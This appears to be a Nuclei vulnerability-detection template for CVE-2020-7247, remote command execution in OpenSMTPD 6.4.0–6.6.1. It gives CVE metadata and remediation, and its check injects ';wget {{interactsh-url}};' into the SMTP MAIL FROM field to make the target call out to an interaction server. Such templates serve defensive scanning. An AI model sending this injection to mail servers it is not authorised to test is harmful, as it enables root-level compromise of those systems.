OpenSMTPD 6.4.0-6.6.1 - Remote Code Execution

id: CVE-2020-7247

info:
  name: OpenSMTPD 6.4.0-6.6.1 - Remote Code Execution
  author: princechaddha
  severity: critical
  description: |
    OpenSMTPD versions 6.4.0 - 6.6.1 are susceptible to remote code execution. smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code with the privileges of the OpenSMTPD process, potentially leading to a complete compromise of the affected system.
  remediation: OpenBSD users are recommended to install patches for OpenBSD 6.6
  reference:
    - https://www.openwall.com/lists/oss-security/2020/01/28/3
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7247
    - https://github.com/openbsd/src/commit/9dcfda045474d8903224d175907bfc29761dcb45
    - http://www.openwall.com/lists/oss-security/2020/01/28/3
    - http://packetstormsecurity.com/files/156145/OpenSMTPD-6.6.2-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7247
    cwe-id: CWE-755
    epss-score: 0.98972
    epss-percentile: 0.99929
    cpe: cpe:2.3:a:openbsd:opensmtpd:6.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: openbsd
    product: opensmtpd
  tags: packetstorm,cve,cve2020,js,smtp,opensmtpd,network,rce,oast,kev,openbsd,vkev,vuln

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      const smtp = require('nuclei/smtp');
      const client = new smtp.Client(Host,Port);
      const message = new smtp.SMTPMessage();
      message.From(From);
      message.To(To);
      message.Body(Msg);
      Export(client.SendMail(message));

    args:
      Host: "{{Host}}"
      Port: "8825"
      From: ";wget {{interactsh-url}};"
      To: "root"
      Msg: "Contact your security team if you do not expect this message"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: dsl
        dsl:
          - success == true
#         - response == true
        condition: and